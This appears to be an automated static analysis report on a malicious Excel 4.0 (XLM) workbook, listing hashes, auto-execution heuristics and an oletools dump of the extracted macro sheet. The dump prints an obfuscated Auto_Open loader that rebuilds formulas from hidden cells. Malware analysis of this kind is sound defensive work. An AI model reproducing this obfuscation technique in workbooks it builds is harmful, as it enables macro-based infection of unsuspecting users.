Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d62123a5a4dd8b9a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:40 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 8c1580fb3e8c441ef064bde8f0690a1f SHA-1: 79496b278aa565ae57e1503b5406e9e9d7482c01 SHA-256: d62123a5a4dd8b9a02c509c72ff853f5b52d4a227525539692dc6227bfe714d0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6580 bytes
SHA-256: 0c20e90a2ef36bbb7512fcc7cb76b0770c7bc2b904777fe8866942c06b475201
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IaJOMpMcfP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E148 
' 0018     20 LABEL : Cell Value, String Constant - bcJSi len=0 
' 0018     24 LABEL : Cell Value, String Constant - CVjkGJhSW len=0 
' 0018     23 LABEL : Cell Value, String Constant - dCkUPamx len=0 
' 0018     23 LABEL : Cell Value, String Constant - DMOHMNDN len=0 
' 0018     21 LABEL : Cell Value, String Constant - EAvNvf len=0 
' 0018     26 LABEL : Cell Value, String Constant - GnsplykFchP len=0 
' 0018     23 LABEL : Cell Value, String Constant - LeLBhYgC len=0 
' 0018     25 LABEL : Cell Value, String Constant - MDdhrWUzlB len=0 
' 0018     24 LABEL : Cell Value, String Constant - MlvohJPli len=0 
' 0018     21 LABEL : Cell Value, String Constant - NMySYq len=0 
' 0018     25 LABEL : Cell Value, String Constant - nyCxUFXUOs len=0 
' 0018     21 LABEL : Cell Value, String Constant - OGMdRi len=0 
' 0018     22 LABEL : Cell Value, String Constant - OQPiyLn len=0 
' 0018     23 LABEL : Cell Value, String Constant - PDnQqhss len=0 
' 0018     24 LABEL : Cell Value, String Constant - PiGouJqMw len=0 
' 0018     22 LABEL : Cell Value, String Constant - RzJORfe len=0 
' 0018     21 LABEL : Cell Value, String Constant - tLvKiQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - uAHbvSYEA len=0 
' 0018     23 LABEL : Cell Value, String Constant - UFVkTPeg len=0 
' 0018     25 LABEL : Cell Value, String Constant - WHYySghfwu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IaJOMpMcfP,E68,"SET.NAME("GnsplykFchP",VALUE("0"))",""
'  IaJOMpMcfP,E72,"SET.NAME("PDnQqhss",GnsplykFchP)",""
'  IaJOMpMcfP,E76,"SET.NAME("DMOHMNDN",GnsplykFchP)",""
'  IaJOMpMcfP,E78,"SET.NAME("CVjkGJhSW",COUNTA(bcJSi))",""
'  IaJOMpMcfP,E80,"SET.NAME("OQPiyLn",COUNTA(dCkUPamx))",""
'  IaJOMpMcfP,E83,[],""
'  IaJOMpMcfP,E87,"SET.NAME("OGMdRi","")",""
'  IaJOMpMcfP,E89,"PDnQqhss",""
'  IaJOMpMcfP,E93,"SET.NAME("UFVkTPeg",HLOOKUP("*",bcJSi,PDnQqhss,FALSE))",""
'  IaJOMpMcfP,E97,"EAvNvf",""
'  IaJOMpMcfP,E102,"SET.NAME("PiGouJqMw",GnsplykFchP)",""
'  IaJOMpMcfP,E105,[],""
'  IaJOMpMcfP,E109,"PiGouJqMw",""
'  IaJOMpMcfP,E111,"nyCxUFXUOs",""
'  IaJOMpMcfP,E116,"MDdhrWUzlB",""
'  IaJOMpMcfP,E118,"RzJORfe",""
'  IaJOMpMcfP,E120,"SET.NAME("uAHbvSYEA",VALUE(HLOOKUP("*",dCkUPamx,RzJORfe,FALSE)))",""
'  IaJOMpMcfP,E122,"MlvohJPli",""
'  IaJOMpMcfP,E124,"OGMdRi",""
'  IaJOMpMcfP,E128,"DMOHMNDN",""
'  IaJOMpMcfP,E131,NEXT(),""
'  IaJOMpMcfP,E134,"LeLBhYgC",""
'  IaJOMpMcfP,E137,"SET.NAME("f",INT(T(FORMULA(T(OGMdRi)&"",""&T(LeLBhYgC)))))",""
'  IaJOMpMcfP,E139,"WHYySghfwu",""
'  IaJOMpMcfP,E141,NEXT(),""
'  IaJOMpMcfP,E144,RETURN(),""
'  IaJOMpMcfP,E170,"SET.NAME("NMySYq",E68)",""
'  IaJOMpMcfP,E174,"bcJSi",""
'  IaJOMpMcfP,E178,"SET.NAME("dCkUPamx",R59C14)",""
'  IaJOMpMcfP,E181,"SET.NAME("WHYySghfwu",187)",""
'  IaJOMpMcfP,E184,"SET.NAME("tLvKiQ",5)",""
'  IaJOMpMcfP,E186,NMySYq(),""
'  IaJOMpMcfP,E187,HALT(),""

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